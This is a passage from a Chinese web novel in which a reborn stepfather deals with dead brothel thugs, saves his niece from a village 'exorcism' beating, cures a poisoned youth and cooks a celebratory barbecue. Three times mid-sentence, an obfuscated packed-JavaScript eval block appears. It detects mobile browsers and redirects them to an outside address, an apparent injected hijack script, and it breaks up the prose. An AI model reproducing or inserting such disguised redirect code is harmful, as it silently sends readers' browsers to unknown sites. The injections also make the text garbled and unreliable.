宋显原地踌躇,不知道自己下一步该怎么办。 “他”不仅是恶毒继父,还跟红袖楼的恶人有勾连……这事要是被他三个儿子知道了,会怎么看他? 他刚树立起来的光辉伟岸父亲形象肯定会碎成渣渣,白歌也会讨厌他! 那么,到底该如何处置李信之等人? 宋显想不明白,愁得慌。 他要先做点别的事儿分神一下,先平静平静情绪,说不定就能想到好办法了。 宋显去采了些野花来,编花篮、编花环、编花圈…… 算了,花圈就不编了,不吉利。 “这么晚不回家,你在这——” 宋陆远终于找到了宋显,松了口气,转眼看到地上躺十几名壮汉,他后半句话卡住了,刚松下的那口气也提了上来。 宋陆远扭头就大喊:“大哥,爹、又、杀、人、了!” “没有,没有,他们只是昏迷了。这次没有冷雾,不会冻死他们的。” 宋显回过神儿来,赶忙从花环中站起身来,对宋陆远耐心解释。 宋寒承气喘吁吁地跑了过来。 兄弟俩一起查看躺在地上的红袖楼打手们的情况,然后同时用一言难尽的表情看向宋显。 宋显此时还在心里纠结,一会儿等李信之他们醒了后,他该怎么跟俩儿子解释。 感受到奇怪的目光注视后,他才后知后觉得反应过来,情况好像不太对。 宋显这才注意到李信之等人,肤色惨白,胸膛好像没有了起伏。 宋显大惊:“他们不会……真的死了吧?” 宋寒承点头,“鼻内红肿,皆死于窒息。发生窒息时,应当处于昏迷状态,所以没有任何挣扎。” 宋陆远对宋显竖起大拇指,突然觉得不够,又补上一手,同时竖起两根大拇指:“我就知道,这么晚不回家,我杀人如麻的爹一定在干大事!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189279|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋显:“……” “没事,都是红袖楼的人,死得不冤。”宋陆远发现宋显好像有点接受不了,特意安慰了他一句。 宋陆远将所有尸体都搬到一处,叠叠尸,方便一会儿撒化尸粉。 宋显默默地把他编好的花圈,放在了尸体周围。 “我不太明白,我跟他们一起的,我怎么没事?”宋显摸了摸白皮树,“这树的花粉只会致人昏厥啊,没有致命的毒性。” “那就是别的东西导致他们鼻内红肿,最后窒息。”宋寒承让宋显回忆一下当时的具体情况,还有什么是他有的而他们没有的。 宋显据实阐述经过,只把他和李信之认识的情况隐瞒了下来。 “我想起来了,是多香菇的孢子,吸多了会导致鼻腔内发红过敏。我一直用湿布捂着口鼻,所以没事。” 宋寒承点头,“该是这个缘故了。” “多香菇是阿爹丢的,林子也是阿爹领他们进的,那这些恶人肯定都算是阿爹铲除的!” 宋陆远再次对宋显竖起大拇指,夸他厉害,是自己的榜样。 “头杀是六人二狗,二杀是十二人四狗,那阿爹的第三杀会不会是二十四人八狗?” 宋显:“!!!” 麻了,他真·杀人如麻了。 宋陆远留下来处理尸体,宋寒承带着宋显先下山。 见宋显情绪不高,宋寒承故意道:“如今人都死绝了,味道也除了,红袖楼找不到任何把柄怀疑这里,最多派人惯例排查一下,倒不会有什么危险了。” 这话确实鼓励到了宋显,李信之等人一死,他的秘密守住了,他和儿子们风景如画的宅基地也守住了,结果确实挺不错的。 宋显步伐轻快起来,走在前面。 宋寒承微笑看向宋显,眼睛里细碎的光隐没在黑夜之中。 …… 之后半个月,山谷里果然很平静。 父子四人齐心协力挖地基、运木材、建房子,终于将木屋建成了。 第一间房特意选择建起来比较快的木屋,他们打算先把住所搞定了,后续再继续慢慢建造更结实的石头房。等石头房建好了,木屋也可以留作它用。 这几日建房花费很大,宋显每天早上会去山里采些草药、蘑菇交给宋寒承去卖。 草药好卖,药铺基本都收,即便有不认识的药材,在经过验证之后,药铺也是肯出钱的。 蘑菇却不同,只能捡一些本地人常吃的,不认识的即便说没毒,人家也不愿意冒险,愿意冒险的人又出不起钱。 至于古树林里那些稀有的神木,比如大荷树,虽然浑身是宝,可以卖上很高的价钱,但不到万不得已绝不能展现给世人。 “匹夫无罪,怀璧其罪”,在这乱世,普通百姓如果拥有稀世珍宝,势必会招来祸端。 晌午,宋显和宋陆远把灶台建好后,就把行李搬到新房子来。 宋寒承带着宋济民一早去赶集市,要晚上才回来。 宋显和宋陆远简单吃了一口饼子后,就去三户村城隍庙找白歌。 这些天,父子四人就在山谷里临时搭的窝棚住着。白歌想做些针线活儿,就去三户村找人拜师学艺了。 宋显和宋陆远到城隍庙的时候,忽然听到里面传来白歌的惨叫声。俩人对视一眼,毫不犹豫地冲了进去。 在城隍神像前,两名妇人粗鲁地押着白歌跪在地上,屋内两侧站满了三户村村民,男女老少皆有。 一名蓄着山羊胡的中年男人正高扬起手中的藤条,要殴打白歌。 8. 第 8 章 “住手!” 宋陆远上去就钳制住山羊胡男人的手,将他踹倒在地。 山羊胡男人“啊呀”一声叫,捂着肚子坐在地上喊疼。 宋显趁机推开两名妇人,将白歌扶了起来,护在身后。 父子二人救人的行为显然引起了众怒,围观的村民们突然包围了他们。 青壮年们都自觉走到了最前排,目光狠厉地瞪着他们,有的人甚至取下了腰间别着的柴刀。 宋陆远的怒火彻底被点燃,撸起袖子就吼:“干什么?想杀人?来啊,不怕死的都给我上!” 青年们脸上都露出忌惮之色,举着柴刀与宋陆远对峙起来。 宋显连忙把宋陆远也拽到自己的身后,对方人多势众,还都拿着武器,老二力气再大也只有一双手,哪里会是这么多人的对手。 “大家都冷静一下,闹出人命就不好了。有什么误会咱们摊开说,肯定有办法解决。”宋显尽量用很平和的语气劝大家不要冲动。 “哟呵,这不是宋家的冲喜小夫郎嘛,刚克死了妻子,这么快又找到下家了?”方大山嗓门响亮,开口就引导大家把宋显和白歌的关系往不纯洁的方向想。 宋显看向说话的少年,圆润身材,皮肤偏黑,三角眼里横生戾气。 “你眼睛几天没洗了?看人这么脏。” 方大山“嘿”了一声,气呼呼指着宋显的鼻尖:“你一个两面三刀的畜牲,还好意思骂我?别以为我们不知道你怎么坑宋家三孩子的,才成婚三天,你就把人家房子给贱卖了。” “畜牲骂谁呢?” “畜牲骂你!” 方大山高声反驳后,愣了愣,才意识到自己上当了。 周围村民有憋不住的,发出了低低的笑声。 不枉他从前在网上逐字学习过如何吵架怼人,终于,他宋显吵架也有吵赢别人的时候了! “宋叔,我什么都没做,他们突然就把我抓起来,押到神像前,想拿藤条打死我!”白歌躲在宋显身后小声告状,嗓子透着哭喊后的沙哑。 宋显对她点点头,用眼神儿安慰她别怕,有他在。 方大山被气得面红耳赤,忽然,他盯着宋显的脸意识到了什么,激动地扭头对村长道:“村长,你看他的脸!他也该被‘祓除’,他和她都该祓除!” 村长名叫陈昌贵,正是被宋陆远踹了肚子的山羊胡男人。 人挨了揍哪有不想打回去的? 他马上借坡下驴:“说的没错,看他长相妖魅,应当也会厌魅之术。否则宋家兄弟被他骗财骗房之后,怎么还会跟他关系好?必是受他的厌魅之术蛊惑!” 宋显算是听出来了,这帮村民在搞封建迷信。他用胳膊肘捅了一下宋陆远。 “老二,他们说的厌魅之术是什么?” “一种传说,太过漂亮的女人体内有神秘力量,会妖法,可以通过邪术蛊惑人心,诅咒控制他人。 本来这没男人什么事儿,可能看你长得俊,他们就把你也算上了。” “快些举行祓除仪式吧,我大儿子快撑不住了!”李春花双眼红肿,残留着泪意,她看向白歌的眼神儿里充满了憎恨与失望,“我当你是好的,可怜你才收你为徒,想到你竟如此祸害我儿子!” 宋显知道这李春花,是白歌在三户村学针线手艺的师父。 白歌委屈地跟宋显解释:“我真的什么都没做,平常我都是扮丑把脸涂黑,今天出了意外,被她看见真容了,她就非说是我害她儿子病重。” 好大一口锅!好愚昧! 穷山恶水出刁民,此话一点都不假。 怪不得宋寒承之前提起三户村时,表情有点一言难尽。 “把他们俩都给我押住,本村长这就为他们举行祓除仪式。”陈昌贵高举手中的藤条大喊。 村民们齐声高喊:“除魅!除魅!除魅!除魅……” 看来所谓的“祓除”仪式就是用藤条打人,瞧他们这狠劲儿,怕是会把人打到死。 宋陆远忍不了了,要冲上去揍他们,再次被宋显拉住了。 “大人的事儿,小孩儿别插手,你只管在旁边看着就好。”宋显生怕自己没看住,宋陆远就成为那些愚昧村民们怒火下的炮灰。 对付无知愚昧的人,还得用无知愚昧的办法,跟他们讲科学谈技术他们肯定听不懂。 “都别动!” 面对村民们的逼近,宋显突然掏出一个布包的长条形物体。 “哈哈哈哈……既然被你们看出来了,那我也不装了!我承认,我确实会厌魅之术。她是我徒弟,学艺不精,让诸位见笑了!今天我就跟大家展示一下,我真正的实力!” 宋显瞥了一眼白歌后,就缓缓举起手里的东西,做出要揭布的动作。 “师父,不要亮出来!你这一出手,三户村的人全都得死啊!”白歌惊呼,按住宋显的胳膊。 原本要上来抓人的青年们又被震慑住了,这会他们不仅不敢上前,甚至在宋显推开白歌往前走一步的时候,他们吓得往后连退了数步。 “他在唬人,他在故意吓唬我们!你们别被他骗了!”方大山大喊。 李春花连忙附和:“对,你们快把他抓起来,给我儿子报仇!” 宋显竖起大拇指:“还是李大娘厚道,知道自己儿子被诅咒要死了,就拉其他人一起陪葬。要不说你们村团结呢,生是同村人,死是同村鬼。” 宋显一番夸赞下来,村民们都不干了。 本来今天祓除仪式就是为了李春花,跟他们没什么关系,凭什么要他们替李春花冒险。 “娘,我可不想像李大郎那样。” “爹,我也不想。” 有两名青年率先退出,不参与围攻宋显了。其他青年也纷纷起了退意,不想冒这个险。 陈昌贵也有点怕了,抖着山羊胡子默默后退,但他的步伐不敢迈太大,生怕大家发现他这个村长怂了。 方大山气得跳脚:“大家别信他的话,他在撒谎!他才不会什么诅咒之术,他在骗人呢!我们信了他,就是中了他的计了!” 方大山特别笃定的语气引起了宋显的注意。 “你怎么那么肯定我在骗人?你怎么那么肯定李大郎重病跟我徒弟没关系?莫非李大郎的病是你害得?” 一连串的质问打得方大山措手不及,方大山眼神飘忽,支支吾吾,明显心虚了。 陈昌贵和李春花等人也都注意到了这点,所有人的目光都聚集在方大山身上。 方大山后退一步,慌忙地摆手,“不是我,不是我,不是我做的。” “你做什么了?” “我我我……” 宋显对李春花道:“瞧见没?是他害得你儿子病重不治。你现在赶紧问清楚缘由,你儿子说不定还有救。再把时间花费在冤枉我们这些无辜人身上,只会害死你儿子!” 李春花听说自己儿子还有救,忽然意识到什么,冲上去就扇了方大山一耳光:“是不是你?我家大郎平常最喜欢与你来往,他病重昏迷之后,你从没去看过他,是不是心虚了?” 方大山到底年少,不惊吓,被打了一巴掌后呼吸急促紊乱,终于绷不住“嗷”的一声捂脸大哭起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189280|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不是故意的,我给他下了毒之后,我也后悔了。” 李大郎长得高大俊朗,读书好,人稳重,在村里是典型的“别人家的孩子”。方大山父母总是喜欢拿他跟李大郎比较,嫌弃他,贬低他。 三日前,方大山又挨父母骂了,他气不过李大郎总是比他强,偷偷将玄头草的毒汁下进了李大郎的药茶里。 玄头草毒发一般在一两个时辰以后。李春花干完活回家,发现大儿子躺在床上昏迷了,还以为他熬夜苦读致使累坏了身体。 村里的赤脚大夫医术有限,根本查不出李大郎中毒,只按照李春花的描述,给他开了调理身体的药,自然没效。 “这下误会解开了,是你们冤枉了我侄女,还险些将她枉杀。”宋显问陈昌贵,这笔账该怎么算。 宋显顺手扯开了布,亮出了他手里的“诅咒武器”,是三根粟米棒,今早他刚做的干粮。 陈昌贵等人都明白了这是误会,他知错就改,忙带领村民们给宋显和白歌鞠躬赔罪。 “白姑娘真对不起,我冤枉了你,改日我一定好好跟你道歉。现在我大儿子——”李春花大哭着瘫坐在地上,转而揪住张大夫的裤腿,“张大夫,求求你救救我家大郎!” 张大夫无奈摇头,“你也知道的,我只会治些头疼脑热的小病,解毒我真不会,若用错药会死人的!你得去县城里找更厉害的大夫才行。” “咱们去县城一来一回要五六天,李大郎已经进气少出气多了,到时只怕……来不及了。”村民中有人小声嘀咕着。 李春花绝望地号啕大哭起来。 “那玄头草长什么样?带我去看看。” 李春花哭声哽住,愣愣地看向宋显。 “还愣着干什么,想不想救你儿子了,我阿爹说不定有办法。”宋陆远没好气道。 “啊好好好。”李春花忙起身,带着宋陆远他们去了后山山坡。 陈昌贵随后也跟了过来。 他眼尖,立刻看见一株,长在杂草中很不起眼。 他刚要抬手指给宋显看,就看见宋显已经蹲在那株玄头草前面了。 “对对对,就是它,毒得很,我们平常都不敢放牛在这地方吃草。” 【价值说明】:玄头草,茎叶剧毒,少食昏睡七日亡,多食即亡,根解毒,多食补肾。 宋显叹:“运气不错。”不用五步之内找解药了,其本身就是解药。 宋显挖出玄头草的根,让李春花拿去给儿子吃。 李春花愣愣地捧着玄头草的草根,有点不敢相信地问:“这就完了?” “不然呢,你想更复杂点,好让你儿子直接玩完?”宋陆远对于李春花不信任宋显的举动很是不爽。 “我我我这就去。”李春花泪眼婆娑起来,转头就狂奔家的方向。 陈昌贵讪讪摸着胡须,想说什么,因为撞上宋陆远不耐烦的眼神,他赶紧乖乖把嘴闭上了。 四人慢慢下了山坡,往村子里走。 李春花这时候风风火火地跑了回来,扑通跪在宋显跟前。 因为她奔跑的速度太快,下跪的动作太激烈,路面的灰尘像被引爆了,浓见度很低,有些呛人。 “大郎他醒了!多谢恩人救我儿性命!” 李春花哐哐磕头,又激起一阵尘土。 宋显被呛得掩嘴咳嗽:“别磕了,道谢磕头有什么用,不如整点实际的,送我们一筐鸡蛋。” 李春花愣住。 陈昌贵、宋陆远、白歌:“……” “还有你们欺负白姑娘的赔偿,就用桌椅家具、粟米、麦粉抵吧。” 9. 第 9 章 一炷香后,宋显大丰收。 陈昌贵拿出了他的宝贝牛车,专门送宋显等人回山谷,车上载满了鸡蛋、粟米等吃食,还有床、桌椅、簸箕、茶壶等生活必需品。 宋显乐滋滋地坐在牛车后头,数着指头算着这一遭省了多少钱,家里还缺什么东西需要添置。 白歌骄傲地对宋陆远道:“还得是咱爹,会生活,想得周到。” “那是我爹,跟你没关系。”宋陆远立刻纠正,凶巴巴地指着白歌的鼻尖警告,“告诉你嗷,别起什么不该有的心思,休想跟我们三兄弟抢爹!” “谁羡慕你了!”白歌嘴硬道,“叫叔也挺好的。” 牛车晃晃悠悠行驶到山谷外的树林,就驶不进去了。 “这进谷的路有些太不方便了,你们既然要建房,选在村里多好,何苦在这么偏僻的地方。” 宋显觉得陈昌贵说得很对,交通便捷很重要。一旦哪天孩子生病了,或者有什么别的紧急事件需要尽快出谷,路太难走了会耽误事。 宋显在心里默默记下,要尽快辟出一条可以驱车进出谷的路才行。 对了,还要提早备些治疗头疼脑热的药材。孩子调皮,很容易着凉生病,小病及时早治,省得娃儿遭罪。 “行了,别念叨了,赶快用你这老牛把东西给我们驮进去!”宋陆远语气不耐地催促陈昌贵,一点都不客气。 陈昌贵讪笑着点点头,居然一点都没异议。 他帮忙把货卸下,再驮到老牛背上,牵着老牛穿过树林,进了山谷。 陈昌贵的疑问在出树林的那一刻,得到了答案。 豁然开阔的一片平地,叫人眼前一亮,心旷神怡。太美了啊! 山谷三面环山,远是郁郁葱葱峰峦起伏的山景,白云薄雾环绕其间,静谧悠远。近是平缓开阔的翠草坡,缤纷野花点缀其中,不时有鸟儿啼叫飞过,景色如诗如画,宛若桃源。 在向阳的山坡上,矗立着一间精致的木屋,长四丈宽两丈半左右,淡黄原木色,泛着淡淡温润的光泽。 窗户敞开着,窗棂上挂着漂亮的竹帘。整间房子榫卯拼接严密,用料扎实。 陈昌贵放下货物后,三步并作两步跑到木屋旁,稀罕地摸起来。 “这木料摸着有点滑,上面涂了什么东西?” 宋显笑着解释:“就是木头,没涂别的。” 柚木含有丰富的油脂和硅质,可以防潮防腐不变形。 现在整间木屋的外表是淡黄色,等风吹日晒久了,就会渐渐氧化成金黄色,样子会变得更加好看,有点“林中自有黄金屋”的意境。 “怪了,我怎么摸着感觉这木头表面像涂了东西。” 陈昌贵只纳闷了一会儿,就发现了一个惊天大问题。 “这木头还湿着,你们怎么就建房了?唉,你们也太急了吧,这样很容易开裂变形,撑不了多久的。” “没办法,已经建好了,先凑合着住吧。”宋显给陈昌贵倒了一杯水,多谢他帮忙。 水里面加了几颗他刚晒好的莓果干,酸酸甜甜的很可口,久喝有清除体内毒素、延缓衰老的功效。 “唉,到底是年轻人,生活经验不足,啥都不懂。” 陈昌贵叹了口气,接过水喝了,眼睛瞬间睁大,感慨味道真好。 “罢了,罢了,等出问题的时候你来找我,正经木匠,不多收你们钱!” “行,那多谢村长了。” 宋显拿了一包莓果干和一筐蘑菇给陈昌贵,作为他帮忙运货的酬谢。 “哎呦,这一筐蘑菇可是难得的山珍呐,要去那古树林子那边才能采得吧?这、这可是拿命冒险换来的东西,我怎么好意思收呢。” 陈昌贵嘴上这么说,实际上早就把一筐蘑菇接过,紧紧抱在怀里,任谁抢都抢不走。 至于那莓果干,他是真爱喝,奉作珍宝似的塞进袖带里。大概是想吃独食儿,不想让任何人瞧见。 “哼,口是心非的老匹夫,还不快走!” 宋陆远在旁边忍了半天了,终于忍不住了,抬手就做出揍人的姿势。 陈昌贵吓得大叫一声,像被老鹰忽然轰走的小鸡儿,立刻拉上老牛,撒腿就跑。 老牛被强迫地快速奔走,哼哧哼哧地喘粗气,频频发出不满的“哞哞”声。 宋陆远被陈昌贵的滑稽样子逗得哈哈大笑,脑门子突然被点了一下。 力道不算重,只是轻轻点一下,但还是把宋陆远弄懵了。 哪个不要命的敢点他江湖第一狂剑的脑门!? “有没有礼貌,怎么能对老人家那么说话呢。” 人前不好教育孩子,容易伤孩子自尊。人走了,该说的地方还是要说。 宋陆远现在才十四岁,正处在自我意识过强的青春期,这是孩子树立正确三观的重要时期。 宋显不希望好好的孩子因为没有大人的正确引导而长歪了。 宋陆远不服地反驳:“我怎么没礼貌了。” 他都没动手。 以前他对那个老匹夫态度更差,不是踹就是打,那老匹夫屁都不敢放一个。 宋显脸色严肃下来,非常认真地看着宋陆远。 察觉到气氛不对,白歌立刻找借口开溜。 “呃那个……你们先聊,我整理房间,把这些家具搬到屋里去。” 宋显搬来两把竹椅,让宋陆远跟他面对面坐着。 宋陆远大喇喇地坐下,椅子有些矮,他大长腿微微曲着,膝盖刚好与宋显的相碰。 “看!” 宋陆远疑惑:“看什么?” 宋显语气有点小激动,“我们父子间的第一次促膝长谈。” “……”宋陆远死不悔改,“我没错。” “你哪儿没错?” “我哪儿都没错。” “人家帮咱们运东西,你凶巴巴吓走人家,连态度好好地跟人家告别都做不到,这样的行为对吗?” “他可不是好人,他冤枉白歌,还想用藤条打白歌,他干了坏事,就活该被我用这种态度对待!” 宋陆远反驳的语气很激动,但宋显却松了一口气。 他就知道二儿子本质不坏,是个乖孩子,有是非观,只是因为太过嫉恶如仇才对陈昌贵态度那么差。 “咱们都不是圣人,难免会犯错,知错能改就是好事儿。 像爹之前对你们那么不好,犯了大错,你们三兄弟都很善良地原谅我了,爹爹就很感激你们给我这次机会。 陈村长也一样,他认错赔偿我们东西了,我们接受了。那后来他帮我们运东西,我们就该礼貌表达感谢。他要走,也该礼貌道别,而不是吓唬他。这道理懂不?” “懂是懂,但别想我对他态度好。阿爹是例外,其他人我不接受!”宋陆远梗着脖子,坚持自己的坚持。 “我尊重你的坚持。”宋显起身。 宋陆远乐了,他斗胜利了哦。 “不过,我也有我的坚持。今天晚饭,烤山鸡烤兔烤韭烤蛋,都没有你的份儿哦。” “谁稀罕!”宋陆远撇撇嘴,咬一口干巴巴的粟米棒,满脸不在乎的样子。 不就是烤兔子么,他一会儿就打一只,自己也能烤。 宋陆远这样想也这样做了。跑去打完兔子回来后,他的目光还是不自觉地追寻宋显忙碌的身影。 宋显先拿出他早上提前腌好的兔子和山鸡,又补涂了一遍调味料。 兔子和山鸡都是他在山里做陷阱,利用白皮树花粉致晕的作用,成功捕获而来。 这片土地都是宝,高耸入云的山随着海拔的增高有垂直变化的气候,植被从高耸的古树林,变化到一般高度的森林、灌木丛、草原等。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189281|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>古树林在下层,包围着整座山,生物种类非常多样,多到令人难以置信的地步。 很多宋显曾以为不会长在同一片地方的植物,都能在这片土地上共存。 有一些山上山下都能生长的植被,会因为气候差别呈现出不同的生长状态。比如桃树,可能山下结果了,山上的还在开花。 这种物产丰富让人很喜悦,但同样也令宋显产生一种担忧。因为植被的庞大、茂盛和多样化,通常也意味着这里可能生存着同样庞大的动物体。 古树林是当地人的忌讳,确实透着诡异。这些天他敢胆大地频繁出入那里,多亏了他有异能,能看到非人类生物的价值说明。 普通人进去,不说动物了,就是碰错了植物都很有可能丧命。 但很奇怪的一点是,他没在古树林里发现任何大型动物的痕迹,树林里最多有一些小毒虫,连山鸡、野兔都不在那里,只在树林外围活动。 他问过三兄弟,他们也都没在古树林里见过动物活动的痕迹。期望最好是没有什么大型凶兽,但这种事儿不能只做假设,也要提前做好预防。 杜仲籽和安息茴香,是宋显昨日的新收获。 野韭是山谷里的特产,找对地方就有一片,用不了多久就能割出一盆来。 安息茴香就是孜然,烤肉的灵魂伴侣。烘干了炒熟,碾碎后用来调味烤肉,腌得越久,孜然味儿就越浓郁,烤出来的肉味儿就越香。 正宗的孜然烤肉当然要抹油烤,这样表面才会酥脆焦香,也能封住肉内里的水分,保持肉质的鲜嫩。 本地饮食风俗里没有食用油,肯定买不到,那想吃油就要自己想办法榨取。 要么用动物油,但现在他们目前没有富含脂肪的肥肉。那剩下的唯一办法就是用油料植物的种子榨油。 豆子是最常用的选择,但这里的黄豆还不是经过数代筛选下来的优良品种,颗粒小,含油量低,出油率目测不会超过百分之四。 而且集市上黄豆的价格并不便宜,买豆子来榨油是很不划算的买卖,远没有拿豆子生豆芽吃有性价比。 杜仲籽就不一样了,野外直采,零成本,出油率百分之二十以上,比起豆油它还富含更丰富的不饱和脂肪酸,本身就是药材,非常健康。 宋显先用了五斤杜仲籽试了试,破壳的时候有点费力气,之后经过炒干、压碎、蒸饼,最后用石头进行粗糙简单的压榨,最终他成功得到了两碗油。 因为榨油的工具不专业,所以这次的出油率并不算高。等回头他专门做一个榨油的木楔子,出油率应该会比现在多一倍以上。 天黑前,宋寒承带着宋济民回来了。 毛驴已经还给朋友了,兄弟俩徒步走回来的,一人背粮食,一人背布料。 晌午的时候,大家都为了新家的安置,疲于忙碌,午饭都只用粟米棒简单垫了垫肚子。 晚上为了庆祝新家搬迁,第一次入住,怎么都要搞一顿丰盛的庆祝宴。 宋显为了今晚这顿饭,真可谓把压箱底儿的技艺和吃奶的劲儿都使出来了。 多亏他曾经做过美食博主,把赛道开到古法榨油上了,不然他真没办法达成今天的烤肉成就。 腌制好的孜然山鸡和兔子,刷上油后,刚架在火上烤,就冒出迷人心神的香气。 另一边,坚持另起炉灶自己烤兔子的宋陆远,当即就被香迷糊了。 他如小狗儿一般使劲儿抽了抽鼻子,顺着香味儿就嗅到宋显身边儿。他眼睛黑亮黑亮的,炽热又渴望地看着宋显。 “爹,我改!我以后一定做个会礼貌告别的好孩子。” 宋显开心地摸了摸宋陆远的脑袋,“我就知道,我家阿远最善良懂礼貌了!” 不,他不知道! 从此,江湖第一狂剑在杀人前,学会了礼貌地告别:“我会好好送你见阎王!” 10. 第 10 章 宋显将烤得最好的一块鸡腿撕给了宋陆远。 在火光的映衬下,鸡腿表面像渡了一层耀眼的金色,表皮紧实油亮,散发着一种混合着鸡肉本身的鲜香、油脂的醇香和孜然烤肉独具的诱人香味。 这种香味儿弥漫了整座山谷,像神明吟唱的醉人音符,让凡夫俗子们无法抵抗。 宋陆远接过孜然烤鸡腿后,立刻咬上一大口。 “唔——” 表皮焦而脆,肉嫩而多汁,孜然独特的香气环绕在口齿之间,一点肉腥味儿都没有,香迷糊了! 宋陆远本来想边吃边夸的,但当鸡腿咬到嘴里之后,他就顾不上开口说话了,只想一口接着一口地往下吃。 宋陆远原本心底还残留着一点纠结,他堂堂男子汉大丈夫为美食而低头,是不是有点丢面子? 现在他想的是:去他的面子,如果天天让他吃这样的美味,他脸都可以不要! 宋显把两个鸡翅撕下来给了小儿子宋济民,另一个鸡腿给了宋寒承。 “老大和老三今天去采购,辛苦啦。” 白歌眼巴巴瞅着宋显,仿佛在说:我呢?我呢? 宋显有点不好意思,他刚才只顾着三儿子,把白歌给忘了,只恨鸡身上没长三个腿儿。 宋显让白歌自己挑,剩下的鸡肉和兔肉随便选。 “我喜欢吃鸡头鸡脖,再要个兔腿儿,多谢宋叔。” “好。”宋显撕好后递给白歌。 火光灼灼,比不过他笑容里的暖意。 五个人中,唯有宋显面前的碗还是空的。 这时候,一个鸡腿放了进去,随后又有一个鸡翅也被放了进去。 宋显愣了下,看向分坐在他左右两边的宋寒承和宋济民,笑得更开心了。 俩孩子这么小的年纪就知道孝顺了,真让人欣慰。 “多谢老大老三哟,阿爹很开心。你们先吃,还有呢,管饱儿。” 宋显去把锅里蒸的蛋取了出来,这些蛋都先把蛋清蛋黄搅在一起之后,带壳蒸熟的。 蛋剥了壳,穿上竹签,刷油烤的焦黄后,撒上盐、蒜泥、韭菜花和孜然调味,就是别有一番滋味的风味烤蛋了。 接下来还有烤野韭菜,烧烤解腻佳品。 野韭生吃时,辣味特别足,能辣得人流眼泪,但刷油加孜然烤熟之后,味道甜甜的,独有的清香味儿让人欲罢不能。 吃渴了,就喝一口泡着莓果干的冰凉山泉水,酸酸甜甜,清爽解暑。 “好吃好吃,太好吃了!” 这顿饭属宋陆远来吃的最多,最开心,手舞足蹈的。 吃完后,大家排排坐在竹椅上,享受晚风,望着晴朗的星空。 宋陆远揉着吃撑的肚子,不停地打嗝:“为什么我现在吃饱后,有种很幸福的感觉?以前就没有过呢?” “因为你以前只是饿了填肚子,而不是快乐地填饱肚子。”宋济民解释完,不忘叹一句,“二哥真笨。” “臭小子,欠揍!” 兄弟俩随即打闹起来,嘻嘻哈哈哈,你奔我跑。 宋显累了,惬意得靠着竹椅打哈欠。 宋寒承静望着横亘在夜空中间的星河,目光渐渐下移,落在了宋显的后脑勺处。 一切有为法,如梦幻泡影。 如露亦如电,应作如是观。① 宋显感觉异样,回头去看,发现大儿子正闭着眼,好像睡着了。 现在虽是夏日,山里的晚风还是很凉的,宋显怕赶紧去拿了一个薄被披在宋寒承身上。 在夜色的遮掩下,宋显并没有看到,在他盖被的那一瞬间,宋寒承长睫微颤。 木屋一共有四间房,最东面的房间暂留给白歌居住,隔壁是囤积米粮等物品的库房。西二间,宋显和宋济民一间,宋寒承和宋陆远一间。 晚上临睡前,宋陆远给大家打了温泉水擦洗。 东沟温泉那边树木茂盛,夜里十分幽暗,蛇虫鼠蚁多,并不适合一个人独自洗澡。 晚上,宋显躺在床上睡不着,就在脑海里盘算着接下来该如何改造东沟温泉。 …… 次日一早,宋寒承起床出来,就看到不远处的山坡上,宋显边扒笋皮边跟宋济民说笑。 “一头毛驴要多少钱?” “五千文左右。” “那一匹马呢?” “十万吧。” “这么贵!” “有钱还不买到呢,朝廷禁民买马。”宋济民想到自己刚好有一座马场,试探问宋显,“阿爹想要马?” 宋显连忙摇头,太贵了,他想都不敢想,买头毛驴还有点指望。 他采的一筐蘑菇能卖十文钱。一石粟米大概一百二十斤,要三十文,也就是说他卖一筐蘑菇能买四十斤粟米。 这购买力看起来还不错,可如果用来买布和其它东西就不够看了。 一匹布,还是质量最普通的麻布,长度大约在九米半,要六百文左右。 一样农具,比如斧头、锄头,也要几百文,因为铁器稀少,又是战备物资,所以格外贵。 丝绸之类的布料就更不要想了,上万文,那就是富人才穿得起的奢侈品。 宋显不太好意思地看了看自己身上穿的这件丝绸衣服,原身太敢花钱了,他现在就脱下来卖钱! 宋寒承按住他的手,“做什么?” “我穿的这衣服太贵了,花的是你们辛苦攒下来的钱吧,我——” “是你进门时自带的。”宋寒承看宋显还有脱的意思,补充解释,“旧的就不值钱了,这有好几处勾丝了,最多卖几十文。” “好吧,那就不卖了。”宋显挠了挠头,跟在宋寒承身后走了几步,踌躇问他,“那个,你也知道我撞坏了脑子,我娘家,不对,我父母家在哪儿?” 宋寒承沉默了一瞬,转身,平静无波的眼眸对上宋显干净纯粹的鹿眼。 “你无父无母,倒有些薄产,但都赌输了,才因贪图聘资上了我们宋家的门,成了我们的继父。 母亲待我们极好,道士说找到与她八字相合的人冲喜,就有机会让她活命,我们这才倾尽家财找了你,没想到……” 